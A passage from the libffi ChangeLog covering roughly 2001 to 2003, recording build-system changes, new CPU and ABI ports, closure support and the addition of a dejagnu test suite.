FALSE/TRUE with false/true. 2003-10-21 Andreas Tobler * configure.in: AC_LINK_FILES(ffitarget.h). * configure: Regenerate. * Makefile.in: Likewise. * include/Makefile.in: Likewise. * testsuite/Makefile.in: Likewise. * fficonfig.h.in: Likewise. 2003-10-21 Paolo Bonzini Richard Henderson Avoid that ffi.h includes fficonfig.h. * Makefile.am (EXTRA_DIST): Include ffitarget.h files (TARGET_SRC_MIPS_GCC): Renamed to TARGET_SRC_MIPS_IRIX. (TARGET_SRC_MIPS_SGI): Removed. (MIPS_GCC): Renamed to TARGET_SRC_MIPS_IRIX. (MIPS_SGI): Removed. (CLEANFILES): Removed. (mostlyclean-am, clean-am, mostlyclean-sub, clean-sub): New targets. * acconfig.h: Removed. * configure.in: Compute sizeofs only for double and long double. Use them to define and subst HAVE_LONG_DOUBLE. Include comments into AC_DEFINE instead of using acconfig.h. Create include/ffitarget.h instead of include/fficonfig.h. Rename MIPS_GCC to MIPS_IRIX, drop MIPS_SGI since we are in gcc's tree. AC_DEFINE EH_FRAME_FLAGS. * include/Makefile.am (DISTCLEANFILES): New automake macro. (hack_DATA): Add ffitarget.h. * include/ffi.h.in: Remove all system specific definitions. Declare raw API even if it is not installed, why bother? Use limits.h instead of SIZEOF_* to define ffi_type_*. Do not define EH_FRAME_FLAGS, it is in fficonfig.h now. Include ffitarget.h instead of fficonfig.h. Remove ALIGN macro. (UINT_ARG, INT_ARG): Removed, use ffi_arg and ffi_sarg instead. * include/ffi_common.h (bool): Do not define. (ffi_assert): Accept failed assertion. (ffi_type_test): Return void and accept file/line. (FFI_ASSERT): Pass stringized failed assertion. (FFI_ASSERT_AT): New macro. (FFI_ASSERT_VALID_TYPE): New macro. (UINT8, SINT8, UINT16, SINT16, UINT32, SINT32, UINT64, SINT64): Define here with gcc's __attribute__ macro instead of in ffi.h (FLOAT32, ALIGN): Define here instead of in ffi.h * include/ffi-mips.h: Removed. Its content moved to src/mips/ffitarget.h after separating assembly and C sections. * src/alpha/ffi.c, src/alpha/ffi.c, src/java_raw_api.c src/prep_cif.c, src/raw_api.c, src/ia64/ffi.c, src/mips/ffi.c, src/mips/n32.S, src/mips/o32.S, src/mips/ffitarget.h, src/sparc/ffi.c, src/x86/ffi64.c: SIZEOF_ARG -> FFI_SIZEOF_ARG. * src/ia64/ffi.c: Include stdbool.h (provided by GCC 2.95+). * src/debug.c (ffi_assert): Accept stringized failed assertion. (ffi_type_test): Rewritten. * src/prep-cif.c (initialize_aggregate, ffi_prep_cif): Call FFI_ASSERT_VALID_TYPE. * src/alpha/ffitarget.h, src/arm/ffitarget.h, src/ia64/ffitarget.h, src/m68k/ffitarget.h, src/mips/ffitarget.h, src/powerpc/ffitarget.h, src/s390/ffitarget.h, src/sh/ffitarget.h, src/sh64/ffitarget.h, src/sparc/ffitarget.h, src/x86/ffitarget.h: New files. * src/alpha/osf.S, src/arm/sysv.S, src/ia64/unix.S, src/m68k/sysv.S, src/mips/n32.S, src/mips/o32.S, src/powerpc/aix.S, src/powerpc/darwin.S, src/powerpc/ffi_darwin.c, src/powerpc/linux64.S, src/powerpc/linux64_closure.S, src/powerpc/ppc_closure.S, src/powerpc/sysv.S, src/s390/sysv.S, src/sh/sysv.S, src/sh64/sysv.S, src/sparc/v8.S, src/sparc/v9.S, src/x86/sysv.S, src/x86/unix64.S, src/x86/win32.S: include fficonfig.h 2003-10-20 Rainer Orth * src/mips/ffi.c: Use _ABIN32, _ABIO32 instead of external _MIPS_SIM_NABI32, _MIPS_SIM_ABI32. 2003-10-19 Andreas Tobler * src/powerpc/ffi_darwin.c (ffi_prep_args): Declare bytes again. Used when FFI_DEBUG = 1. 2003-10-14 Alan Modra * src/types.c (double, longdouble): Default POWERPC64 to 8 byte size and align. 2003-10-06 Rainer Orth * include/ffi_mips.h: Define FFI_MIPS_N32 for N32/N64 ABIs, FFI_MIPS_O32 for O32 ABI. 2003-10-01 Andreas Tobler * testsuite/lib/libffi-dg.exp: Set LD_LIBRARY_PATH_64 for SPARC64. Cleanup whitespaces. 2003-09-19 Andreas Tobler * testsuite/libffi.call/closure_fn0.c: Xfail mips, arm, strongarm, xscale. Cleanup whitespaces. * testsuite/libffi.call/closure_fn1.c: Likewise. * testsuite/libffi.call/closure_fn2.c: Likewise. * testsuite/libffi.call/closure_fn3.c: Likewise. * testsuite/libffi.call/cls_12byte.c: Likewise. * testsuite/libffi.call/cls_16byte.c: Likewise. * testsuite/libffi.call/cls_1_1byte.c: Likewise. * testsuite/libffi.call/cls_20byte.c: Likewise. * testsuite/libffi.call/cls_24byte.c: Likewise. * testsuite/libffi.call/cls_2byte.c: Likewise. * testsuite/libffi.call/cls_3_1byte.c: Likewise. * testsuite/libffi.call/cls_3byte1.c: Likewise. * testsuite/libffi.call/cls_3byte2.c: Likewise. * testsuite/libffi.call/cls_4_1byte.c: Likewise. * testsuite/libffi.call/cls_4byte.c: Likewise. * testsuite/libffi.call/cls_5byte.c: Likewise. * testsuite/libffi.call/cls_6byte.c: Likewise. * testsuite/libffi.call/cls_7byte.c: Likewise. * testsuite/libffi.call/cls_8byte.c: Likewise. * testsuite/libffi.call/cls_double.c: Likewise. * testsuite/libffi.call/cls_float.c: Likewise. * testsuite/libffi.call/cls_uchar.c: Likewise. * testsuite/libffi.call/cls_uint.c: Likewise. * testsuite/libffi.call/cls_ulonglong.c: Likewise. * testsuite/libffi.call/cls_ushort.c: Likewise. * testsuite/libffi.call/nested_struct.c: Likewise. * testsuite/libffi.call/nested_struct1.c: Likewise. * testsuite/libffi.call/problem1.c: Likewise. * testsuite/libffi.special/unwindtest.cc: Likewise. * testsuite/libffi.call/pyobjc-tc.c: Cleanup whitespaces. 2003-09-18 David Edelsohn * src/powerpc/aix.S: Cleanup whitespaces. * src/powerpc/aix_closure.S: Likewise. 2003-09-18 Andreas Tobler * src/powerpc/darwin.S: Cleanup whitespaces, comment formatting. * src/powerpc/darwin_closure.S: Likewise. * src/powerpc/ffi_darwin.c: Likewise. 2003-09-18 Andreas Tobler David Edelsohn * src/types.c (double): Add AIX and Darwin to the right TYPEDEF. * src/powerpc/aix_closure.S: Remove the pointer to the outgoing parameter stack. * src/powerpc/darwin_closure.S: Likewise. * src/powerpc/ffi_darwin.c (ffi_prep_args): Handle structures according to the Darwin/AIX ABI. (ffi_prep_cif_machdep): Likewise. (ffi_closure_helper_DARWIN): Likewise. Remove the outgoing parameter stack logic. Simplify the evaluation of the different CASE types. (ffi_prep_clousure): Avoid the casts on lvalues. Change the branch statement in the trampoline code. 2003-09-18 Kaz Kojima * src/sh/ffi.c (ffi_prep_args): Take account into the alignement for the register size. (ffi_closure_helper_SYSV): Handle the structure return value address correctly. (ffi_closure_helper_SYSV): Return the appropriate type when the registers are used for the structure return value. * src/sh/sysv.S (ffi_closure_SYSV): Fix the stack layout for the 64-bit return value. Update copyright years. 2003-09-17 Rainer Orth * testsuite/lib/libffi-dg.exp (libffi_target_compile): Search in srcdir for ffi_mips.h. 2003-09-12 Alan Modra * src/prep_cif.c (initialize_aggregate): Include tail padding in structure size. * src/powerpc/linux64_closure.S (ffi_closure_LINUX64): Correct placement of float result. * testsuite/libffi.special/unwindtest.cc (closure_test_fn1): Correct cast of "resp" for big-endian 64 bit machines. 2003-09-11 Alan Modra * src/types.c (double, longdouble): Merge identical SH and ARM typedefs, and add POWERPC64. * src/powerpc/ffi.c (ffi_prep_args64): Correct next_arg calc for struct split over gpr and rest. (ffi_prep_cif_machdep): Correct intarg_count for structures. * src/powerpc/linux64.S (ffi_call_LINUX64): Fix gpr offsets. 2003-09-09 Andreas Tobler * src/powerpc/ffi.c (ffi_closure_helper_SYSV) Handle struct passing correctly. 2003-09-09 Alan Modra * configure: Regenerate. 2003-09-04 Andreas Tobler * Makefile.am: Remove build rules for ffitest. * Makefile.in: Rebuilt. 2003-09-04 Andreas Tobler * src/java_raw_api.c: Include to fix compiler warning about implicit declaration of abort(). 2003-09-04 Andreas Tobler * Makefile.am: Add dejagnu test framework. Fixes PR other/11411. * Makefile.in: Rebuilt. * configure.in: Add dejagnu test framework. * configure: Rebuilt. * testsuite/Makefile.am: New file. * testsuite/Makefile.in: Built * testsuite/lib/libffi-dg.exp: New file. * testsuite/config/default.exp: Likewise. * testsuite/libffi.call/call.exp: Likewise. * testsuite/libffi.call/ffitest.h: Likewise. * testsuite/libffi.call/closure_fn0.c: Likewise. * testsuite/libffi.call/closure_fn1.c: Likewise. * testsuite/libffi.call/closure_fn2.c: Likewise. * testsuite/libffi.call/closure_fn3.c: Likewise. * testsuite/libffi.call/cls_1_1byte.c: Likewise. * testsuite/libffi.call/cls_3_1byte.c: Likewise. * testsuite/libffi.call/cls_4_1byte.c: Likewise. * testsuite/libffi.call/cls_2byte.c: Likewise. * testsuite/libffi.call/cls_3byte1.c: Likewise. * testsuite/libffi.call/cls_3byte2.c: Likewise. * testsuite/libffi.call/cls_4byte.c: Likewise. * testsuite/libffi.call/cls_5byte.c: Likewise. * testsuite/libffi.call/cls_6byte.c: Likewise. * testsuite/libffi.call/cls_7byte.c: Likewise. * testsuite/libffi.call/cls_8byte.c: Likewise. * testsuite/libffi.call/cls_12byte.c: Likewise. * testsuite/libffi.call/cls_16byte.c: Likewise. * testsuite/libffi.call/cls_20byte.c: Likewise. * testsuite/libffi.call/cls_24byte.c: Likewise. * testsuite/libffi.call/cls_double.c: Likewise. * testsuite/libffi.call/cls_float.c: Likewise. * testsuite/libffi.call/cls_uchar.c: Likewise. * testsuite/libffi.call/cls_uint.c: Likewise. * testsuite/libffi.call/cls_ulonglong.c: Likewise. * testsuite/libffi.call/cls_ushort.c: Likewise. * testsuite/libffi.call/float.c: Likewise. * testsuite/libffi.call/float1.c: Likewise. * testsuite/libffi.call/float2.c: Likewise. * testsuite/libffi.call/many.c: Likewise. * testsuite/libffi.call/many_win32.c: Likewise. * testsuite/libffi.call/nested_struct.c: Likewise. * testsuite/libffi.call/nested_struct1.c: Likewise. * testsuite/libffi.call/pyobjc-tc.c: Likewise. * testsuite/libffi.call/problem1.c: Likewise. * testsuite/libffi.call/promotion.c: Likewise. * testsuite/libffi.call/return_ll.c: Likewise. * testsuite/libffi.call/return_sc.c: Likewise. * testsuite/libffi.call/return_uc.c: Likewise. * testsuite/libffi.call/strlen.c: Likewise. * testsuite/libffi.call/strlen_win32.c: Likewise. * testsuite/libffi.call/struct1.c: Likewise. * testsuite/libffi.call/struct2.c: Likewise. * testsuite/libffi.call/struct3.c: Likewise. * testsuite/libffi.call/struct4.c: Likewise. * testsuite/libffi.call/struct5.c: Likewise. * testsuite/libffi.call/struct6.c: Likewise. * testsuite/libffi.call/struct7.c: Likewise. * testsuite/libffi.call/struct8.c: Likewise. * testsuite/libffi.call/struct9.c: Likewise. * testsuite/libffi.special/special.exp: New file. * testsuite/libffi.special/ffitestcxx.h: Likewise. * testsuite/libffi.special/unwindtest.cc: Likewise. 2003-08-13 Kaz Kojima * src/sh/ffi.c (OFS_INT16): Set 0 for little endian case. Update copyright years. 2003-08-02 Alan Modra * src/powerpc/ffi.c (ffi_prep_args64): Modify for changed gcc structure passing. (ffi_closure_helper_LINUX64): Likewise. * src/powerpc/linux64.S: Remove code writing to parm save area. * src/powerpc/linux64_closure.S (ffi_closure_LINUX64): Use return address in lr from ffi_closure_helper_LINUX64 call to calculate table address. Optimize function tail. 2003-07-28 Andreas Tobler * src/sparc/ffi.c: Handle all floating point registers. * src/sparc/v9.S: Likewise. Fixes second part of PR target/11410. 2003-07-11 Gerald Pfeifer * README: Note that libffi is not part of GCC. Update the project URL and status. 2003-06-19 Franz Sirl * src/powerpc/ppc_closure.S: Include ffi.h. 2003-06-13 Rainer Orth * src/x86/sysv.S: Avoid gas-only .uleb128/.sleb128 directives. Use C style comments. 2003-06-13 Kaz Kojima * Makefile.am: Add SHmedia support. Fix a typo of SH support. * Makefile.in: Regenerate. * configure.in (sh64-*-linux*, sh5*-*-linux*): Add target. * configure: Regenerate. * include/ffi.h.in: Add SHmedia support. * src/sh64/ffi.c: New file. * src/sh64/sysv.S: New file. 2003-05-16 Jakub Jelinek * configure.in (HAVE_RO_EH_FRAME): Check whether .eh_frame section should be read-only. * configure: Rebuilt. * fficonfig.h.in: Rebuilt. * include/ffi.h.in (EH_FRAME_FLAGS): Define. * src/alpha/osf.S: Use EH_FRAME_FLAGS. * src/powerpc/linux64.S: Likewise. * src/powerpc/linux64_closure.S: Likewise. Include ffi.h. * src/powerpc/sysv.S: Use EH_FRAME_FLAGS. Use pcrel encoding if -fpic/-fPIC/-mrelocatable. * src/powerpc/powerpc_closure.S: Likewise. * src/sparc/v8.S: If HAVE_RO_EH_FRAME is defined, don't include #write in .eh_frame flags. * src/sparc/v9.S: Likewise. * src/x86/unix64.S: Use EH_FRAME_FLAGS. * src/x86/sysv.S: Likewise. Use pcrel encoding if -fpic/-fPIC. * src/s390/sysv.S: Use EH_FRAME_FLAGS. Include ffi.h. 2003-05-07 Jeff Sturm Fixes PR bootstrap/10656 * configure.in (HAVE_AS_REGISTER_PSEUDO_OP): Test assembler support for .register pseudo-op. * src/sparc/v8.S: Use it. * fficonfig.h.in: Rebuilt. * configure: Rebuilt. 2003-04-18 Jakub Jelinek * include/ffi.h.in (POWERPC64): Define if 64-bit. (enum ffi_abi): Add FFI_LINUX64 on POWERPC. Make it the default on POWERPC64. (FFI_TRAMPOLINE_SIZE): Define to 24 on POWERPC64. * configure.in: Change powerpc-*-linux* into powerpc*-*-linux*. * configure: Rebuilt. * src/powerpc/ffi.c (hidden): Define. (ffi_prep_args_SYSV): Renamed from ffi_prep_args. Cast pointers to unsigned long to shut up warnings. (NUM_GPR_ARG_REGISTERS64, NUM_FPR_ARG_REGISTERS64, ASM_NEEDS_REGISTERS64): New. (ffi_prep_args64): New function. (ffi_prep_cif_machdep): Handle FFI_LINUX64 ABI. (ffi_call): Likewise. (ffi_prep_closure): Likewise. (flush_icache): Surround by #ifndef POWERPC64. (ffi_dblfl): New union type. (ffi_closure_helper_SYSV): Use it to avoid aliasing problems. (ffi_closure_helper_LINUX64): New function. * src/powerpc/ppc_closure.S: Surround whole file by #ifndef __powerpc64__. * src/powerpc/sysv.S: Likewise. (ffi_call_SYSV): Rename ffi_prep_args to ffi_prep_args_SYSV. * src/powerpc/linux64.S: New file. * src/powerpc/linux64_closure.S: New file. * Makefile.am (EXTRA_DIST): Add src/powerpc/linux64.S and src/powerpc/linux64_closure.S. (TARGET_SRC_POWERPC): Likewise. * src/ffitest.c (closure_test_fn, closure_test_fn1, closure_test_fn2, closure_test_fn3): Fix result printing on big-endian 64-bit machines. (main): Print tst2_arg instead of uninitialized tst2_result. * src/ffitest.c (main): Hide what closure pointer really points to from the compiler. 2003-04-16 Richard Earnshaw * configure.in (arm-*-netbsdelf*): Add configuration. (configure): Regenerated. 2003-04-04 Loren J. Rittle * include/Makefile.in: Regenerate. 2003-03-21 Zdenek Dvorak * libffi/include/ffi.h.in: Define X86 instead of X86_64 in 32 bit mode. * libffi/src/x86/ffi.c (ffi_closure_SYSV, ffi_closure_raw_SYSV): Receive closure pointer through parameter, read args using __builtin_dwarf_cfa. (FFI_INIT_TRAMPOLINE): Send closure reference through eax. 2003-03-12 Andreas Schwab * configure.in: Avoid trailing /. in toolexeclibdir. * configure: Rebuilt. 2003-03-03 Andreas Tobler * src/powerpc/darwin_closure.S: Recode to fit dynamic libraries. 2003-02-06 Andreas Tobler * libffi/src/powerpc/darwin_closure.S: Fix alignement bug, allocate 8 bytes for the result. * libffi/src/powerpc/aix_closure.S: Likewise. * libffi/src/powerpc/ffi_darwin.c: Update stackframe description for aix/darwin_closure.S. 2003-02-06 Jakub Jelinek * src/s390/ffi.c (ffi_closure_helper_SYSV): Add hidden visibility attribute. 2003-01-31 Christian Cornelssen , Andreas Schwab * configure.in: Adjust command to source config-ml.in to account for changes to the libffi_basedir definition. (libffi_basedir): Remove ${srcdir} from value and include trailing slash if nonempty. * configure: Regenerate. 2003-01-29 Franz Sirl * src/powerpc/ppc_closure.S: Recode to fit shared libs. 2003-01-28 Andrew Haley * include/ffi.h.in: Enable FFI_CLOSURES for x86_64. * src/x86/ffi64.c (ffi_prep_closure): New. (ffi_closure_UNIX64_inner): New. * src/x86/unix64.S (ffi_closure_UNIX64): New. 2003-01-27 Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. 2003-01027 David Edelsohn * Makefile.am (TARGET_SRC_POWERPC_AIX): Fix typo. * Makefile.in: Regenerate. 2003-01-22 Andrew Haley * src/powerpc/darwin.S (_ffi_call_AIX): Add Augmentation size to unwind info. 2003-01-21 Andreas Tobler * src/powerpc/darwin.S: Add unwind info. * src/powerpc/darwin_closure.S: Likewise. 2003-01-14 Andrew Haley * src/x86/ffi64.c (ffi_prep_args): Check for void retval. (ffi_prep_cif_machdep): Likewise. * src/x86/unix64.S: Add unwind info. 2003-01-14 Andreas Jaeger * src/ffitest.c (main): Only use ffi_closures if those are supported. 2003-01-13 Andreas Tobler * libffi/src/ffitest.c add closure testcases 2003-01-13 Kevin B. Hendricks * libffi/src/powerpc/ffi.c fix alignment bug for float (4 byte aligned iso 8 byte) 2003-01-09 Geoffrey Keating * src/powerpc/ffi_darwin.c: Remove RCS version string. * src/powerpc/darwin.S: Remove RCS version string. 2003-01-03 Jeff Sturm * include/ffi.h.in: Add closure defines for SPARC, SPARC64. * src/ffitest.c (main): Use static storage for closure. * src/sparc/ffi.c (ffi_prep_closure, ffi_closure_sparc_inner): New. * src/sparc/v8.S (ffi_closure_v8): New. * src/sparc/v9.S (ffi_closure_v9): New. 2002-11-10 Ranjit Mathew * include/ffi.h.in: Added FFI_STDCALL ffi_type enumeration for X86_WIN32. * src/x86/win32.S: Added ffi_call_STDCALL function definition. * src/x86/ffi.c (ffi_call/ffi_raw_call): Added switch cases for recognising FFI_STDCALL and calling ffi_call_STDCALL if target is X86_WIN32. * src/ffitest.c (my_stdcall_strlen/stdcall_many): stdcall versions of the "my_strlen" and "many" test functions (for X86_WIN32). Added test cases to test stdcall invocation using these functions. 2002-12-02 Kaz Kojima * src/sh/sysv.S: Add DWARF2 unwind info. 2002-11-27 Ulrich Weigand * src/s390/sysv.S (.eh_frame section): Make section read-only. 2002-11-26 Jim Wilson * src/types.c (FFI_TYPE_POINTER): Has size 8 on IA64. 2002-11-23 H.J. Lu * acinclude.m4: Add dummy AM_PROG_LIBTOOL. Include ../config/accross.m4. * aclocal.m4; Rebuild. * configure: Likewise. 2002-11-15 Ulrich Weigand * src/s390/sysv.S (.eh_frame section): Adapt to pcrel FDE encoding. 2002-11-11 DJ Delorie * configure.in: Look for common files in the right place. 2002-10-08 Ulrich Weigand * src/java_raw_api.c (ffi_java_raw_to_ptrarray): Interpret raw data as _Jv_word values, not ffi_raw. (ffi_java_ptrarray_to_raw): Likewise. (ffi_java_rvalue_to_raw): New function. (ffi_java_raw_call): Call it. (ffi_java_raw_to_rvalue): New function. (ffi_java_translate_args): Call it. * src/ffitest.c (closure_test_fn): Interpret return value as ffi_arg, not int. * src/s390/ffi.c (ffi_prep_cif_machdep): Add missing FFI_TYPE_POINTER case. (ffi_closure_helper_SYSV): Likewise. Also, assume return values extended to word size. 2002-10-02 Andreas Jaeger * src/x86/ffi64.c (ffi_prep_cif_machdep): Remove debug output. 2002-10-01 Bo Thorsen * include/ffi.h.in: Fix i386 win32 compilation. 2002-09-30 Ulrich Weigand * configure.in: Add s390x-*-linux-* target. * configure: Regenerate. * include/ffi.h.in: Define S390X for s390x targets. (FFI_CLOSURES): Define for s390/s390x. (FFI_TRAMPOLINE_SIZE): Likewise. (FFI_NATIVE_RAW_API): Likewise. * src/prep_cif.c (ffi_prep_cif): Do not compute stack space for s390. * src/types.c (FFI_TYPE_POINTER): Use 8-byte pointers on s390x. * src/s390/ffi.c: Major rework of existing code. Add support for s390x targets. Add closure support. * src/s390/sysv.S: Likewise. 2002-09-29 Richard Earnshaw * src/arm/sysv.S: Fix typo. 2002-09-28 Richard Earnshaw * src/arm/sysv.S: If we don't have machine/asm.h and the pre-processor has defined __USER_LABEL_PREFIX__, then use it in CNAME. (ffi_call_SYSV): Handle soft-float. 2002-09-27 Bo Thorsen * include/ffi.h.in: Fix multilib x86-64 support. 2002-09-22 Kaveh R. Ghazi * Makefile.am (all-multi): Fix multilib parallel build. 2002-07-19 Kaz Kojima * configure.in (sh[34]*-*-linux*): Add brackets. * configure: Regenerate. 2002-07-18 Kaz Kojima * Makefile.am: Add SH support. * Makefile.in: Regenerate. * configure.in (sh-*-linux*, sh[34]*-*-linux*): Add target. * configure: Regenerate. * include/ffi.h.in: Add SH support. * src/sh/ffi.c: New file. * src/sh/sysv.S: New file. * src/types.c: Add SH support. 2002-07-16 Bo Thorsen * src/x86/ffi64.c: New file that adds x86-64 support. * src/x86/unix64.S: New file that handles argument setup for x86-64. * src/x86/sysv.S: Don't use this on x86-64. * src/x86/ffi.c: Don't use this on x86-64. Remove unused vars. * src/prep_cif.c (ffi_prep_cif): Don't do stack size calculation for x86-64. * src/ffitest.c (struct6): New test that tests a special case in the x86-64 ABI. (struct7): Likewise. (struct8): Likewise. (struct9): Likewise. (closure_test_fn): Silence warning about this when it's not used. (main): Add the new tests. (main): Fix a couple of wrong casts and silence some compiler warnings. * include/ffi.h.in: Add x86-64 ABI definition. * fficonfig.h.in: Regenerate. * Makefile.am: Add x86-64 support. * configure.in: Likewise. * Makefile.in: Regenerate. * configure: Likewise. 2002-06-24 Bo Thorsen * src/types.c: Merge settings for similar architectures. Add x86-64 sizes and alignments. 2002-06-23 Bo Thorsen * src/arm/ffi.c (ffi_prep_args): Remove unused vars. * src/sparc/ffi.c (ffi_prep_args_v8): Likewise. * src/mips/ffi.c (ffi_prep_args): Likewise. * src/m68k/ffi.c (ffi_prep_args): Likewise. 2002-07-18 H.J. Lu (hjl@gnu.org) * Makefile.am (TARGET_SRC_MIPS_LINUX): New. (libffi_la_SOURCES): Support MIPS_LINUX. (libffi_convenience_la_SOURCES): Likewise. * Makefile.in: Regenerated. * configure.in (mips64*-*): Skip. (mips*-*-linux*): New. * configure: Regenerated. * src/mips/ffi.c: Include . 2002-06-06 Ulrich Weigand * src/s390/sysv.S: Save/restore %r6. Add DWARF-2 unwind info. 2002-05-27 Roger Sayle * src/x86/ffi.c (ffi_prep_args): Remove reference to avn. 2002-05-27 Bo Thorsen * src/x86/ffi.c (ffi_prep_args): Remove unused variable and fix formatting. 2002-05-13 Andreas Tobler * src/powerpc/ffi_darwin.c (ffi_prep_closure): Declare fd at beginning of function (for older apple cc). 2002-05-08 Alexandre Oliva * configure.in (ORIGINAL_LD_FOR_MULTILIBS): Preserve LD at script entry, and set LD to it when configuring multilibs. * configure: Rebuilt. 2002-05-05 Jason Thorpe * configure.in (sparc64-*-netbsd*): Add target. (sparc-*-netbsdelf*): Likewise. * configure: Regenerate. 2002-04-28 David S. Miller * configure.in, configure: Fix SPARC test in previous change. 2002-04-29 Gerhard Tonn * Makefile.am: Add Linux for S/390 support. * Makefile.in: Regenerate. * configure.in: Add Linux for S/390 support. * configure: Regenerate. * include/ffi.h.in: Add Linux for S/390 support. * src/s390/ffi.c: New file from libffi CVS tree. * src/s390/sysv.S: New file from libffi CVS tree. 2002-04-28 Jakub Jelinek * configure.in (HAVE_AS_SPARC_UA_PCREL): Check for working %r_disp32(). * src/sparc/v8.S: Use it. * src/sparc/v9.S: Likewise. * fficonfig.h.in: Rebuilt. * configure: Rebuilt. 2002-04-08 Hans Boehm * src/java_raw_api.c (ffi_java_raw_size): Handle FFI_TYPE_DOUBLE correctly. * src/ia64/unix.S: Add unwind information. Fix comments. Save sp in a way that's compatible with unwind info. (ffi_call_unix): Correctly restore sp in all cases. * src/ia64/ffi.c: Add, fix comments. 2002-04-08 Jakub Jelinek * src/sparc/v8.S: Make .eh_frame dependent on target word size. 2002-04-06 Jason Thorpe * configure.in (alpha*-*-netbsd*): Add target. * configure: Regenerate. 2002-04-04 Jeff Sturm * src/sparc/v8.S: Add unwind info. * src/sparc/v9.S: Likewise. 2002-03-30 Krister Walfridsson * configure.in: Enable i*86-*-netbsdelf*. * configure: Rebuilt. 2002-03-29 David Billinghurst PR other/2620 * src/mips/n32.s: Delete * src/mips/o32.s: Delete 2002-03-21 Loren J. Rittle * configure.in: Enable alpha*-*-freebsd*. * configure: Rebuilt. 2002-03-17 Bryce McKinlay * Makefile.am: libfficonvenience -> libffi_convenience. * Makefile.in: Rebuilt. * Makefile.am: Define ffitest_OBJECTS. * Makefile.in: Rebuilt. 2002-03-07 Andreas Tobler David Edelsohn * Makefile.am (EXTRA_DIST): Add Darwin and AIX closure files. (TARGET_SRC_POWERPC_AIX): Add aix_closure.S. (TARGET_SRC_POWERPC_DARWIN): Add darwin_closure.S. * Makefile.in: Regenerate. * include/ffi.h.in: Add AIX and Darwin closure definitions. * src/powerpc/ffi_darwin.c (ffi_prep_closure): New function. (flush_icache, flush_range): New functions. (ffi_closure_helper_DARWIN): New function. * src/powerpc/aix_closure.S: New file. * src/powerpc/darwin_closure.S: New file. 2002-02-24 Jeff Sturm * include/ffi.h.in: Add typedef for ffi_arg. * src/ffitest.c (main): Declare rint with ffi_arg. 2002-02-21 Andreas Tobler * src/powerpc/ffi_darwin.c (ffi_prep_args): Skip appropriate number of GPRs for floating-point arguments. 2002-01-31 Anthony Green * configure: Rebuilt. * configure.in: Replace CHECK_SIZEOF and endian tests with cross-compiler friendly macros. * aclocal.m4 (AC_COMPILE_CHECK_SIZEOF, AC_C_BIGENDIAN_CROSS): New macros. 2002-01-18 David Edelsohn * src/powerpc/darwin.S (_ffi_call_AIX): New. * src/powerpc/aix.S (ffi_call_DARWIN): New. 2002-01-17 David Edelsohn * Makefile.am (EXTRA_DIST): Add Darwin and AIX files. (TARGET_SRC_POWERPC_AIX): New. (POWERPC_AIX): New stanza. * Makefile.in: Regenerate. * configure.in: Add AIX case. * configure: Regenerate. * include/ffi.h.in (ffi_abi): Add FFI_AIX. * src/powerpc/ffi_darwin.c (ffi_status): Use "long" to scale frame size. Fix "long double" support. (ffi_call): Add FFI_AIX case. * src/powerpc/aix.S: New. 2001-10-09 John Hornkvist Implement Darwin PowerPC ABI. * configure.in: Handle powerpc-*-darwin*. * Makefile.am: Set source files for POWERPC_DARWIN. * configure: Rebuilt. * Makefile.in: Rebuilt. * include/ffi.h.in: Define FFI_DARWIN and FFI_DEFAULT_ABI for POWERPC_DARWIN. * src/powerpc/darwin.S: New file. * src/powerpc/ffi_darwin.c: New file. 2001-10-07 Joseph S. Myers * src/x86/ffi.c: Fix spelling error of "separate" as "seperate". 2001-07-16 Rainer Orth * src/x86/sysv.S: Avoid gas-only .balign directive. Use C style comments. 2001-07-16 Rainer Orth * src/alpha/ffi.c (ffi_prep_closure): Avoid gas-only mnemonic. Fixes PR bootstrap/3563. 2001-06-26 Rainer Orth * src/alpha/osf.S (ffi_closure_osf): Use .rdata for ECOFF. 2001-06-25 Rainer Orth * configure.in: Recognize sparc*-sun-* host. * configure: Regenerate. 2001-06-06 Andrew Haley * src/alpha/osf.S (__FRAME_BEGIN__): Conditionalize for ELF. 2001-06-03 Andrew Haley * src/alpha/osf.S: Add unwind info. * src/powerpc/sysv.S: Add unwind info. * src/powerpc/ppc_closure.S: Likewise. 2000-05-31 Jeff Sturm * configure.in: Fix AC_ARG_ENABLE usage. * configure: Rebuilt. 2001-05-06 Bryce McKinlay * configure.in: Remove warning about beta code. * configure: Rebuilt. 2001-04-25 Hans Boehm * src/ia64/unix.S: Restore stack pointer when returning from ffi_closure_UNIX. * src/ia64/ffi.c: Fix typo in comment. 2001-04-18 Jim Wilson * src/ia64/unix.S: Delete unnecessary increment and decrement of loc2 to eliminate RAW DV. 2001-04-12 Bryce McKinlay * Makefile.am: Make a libtool convenience library. * Makefile.in: Rebuilt. 2001-03-29 Bryce McKinlay * configure.in: Use different syntax for subdirectory creation. * configure: Rebuilt. 2001-03-27 Jon Beniston * configure.in: Added X86_WIN32 target (Win32, CygWin, MingW). * configure: Rebuilt. * Makefile.am: Added X86_WIN32 target support. * Makefile.in: Rebuilt. * include/ffi.h.in: Added X86_WIN32 target support. * src/ffitest.c: Doesn't run structure tests for X86_WIN32 targets. * src/types.c: Added X86_WIN32 target support. * src/x86/win32.S: New file. Based on sysv.S, but with EH stuff removed and made to work with CygWin's gas. 2001-03-26 Bryce McKinlay * configure.in: Make target subdirectory in build dir. * Makefile.am: Override suffix based rules to specify correct output subdirectory. * Makefile.in: Rebuilt. * configure: Rebuilt. 2001-03-23 Kevin B Hendricks * src/powerpc/ppc_closure.S: New file. * src/powerpc/ffi.c (ffi_prep_args): Fixed ABI compatibility bug involving long long and register pairs. (ffi_prep_closure): New function. (flush_icache): Likewise. (ffi_closure_helper_SYSV): Likewise. * include/ffi.h.in (FFI_CLOSURES): Define on PPC. (FFI_TRAMPOLINE_SIZE): Likewise. (FFI_NATIVE_RAW_API): Likewise. * Makefile.in: Rebuilt. * Makefile.am (EXTRA_DIST): Added src/powerpc/ppc_closure.S. (TARGET_SRC_POWERPC): Likewise. 2001-03-19 Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (ffitest_LDFLAGS): New macro. 2001-03-02 Nick Clifton * include/ffi.h.in: Remove RCS ident string. * include/ffi_mips.h: Remove RCS ident string. * src/debug.c: Remove RCS ident string. * src/ffitest.c: Remove RCS ident string. * src/prep_cif.c: Remove RCS ident string. * src/types.c: Remove RCS ident string. * src/alpha/ffi.c: Remove RCS ident string. * src/alpha/osf.S: Remove RCS ident string. * src/arm/ffi.c: Remove RCS ident string. * src/arm/sysv.S: Remove RCS 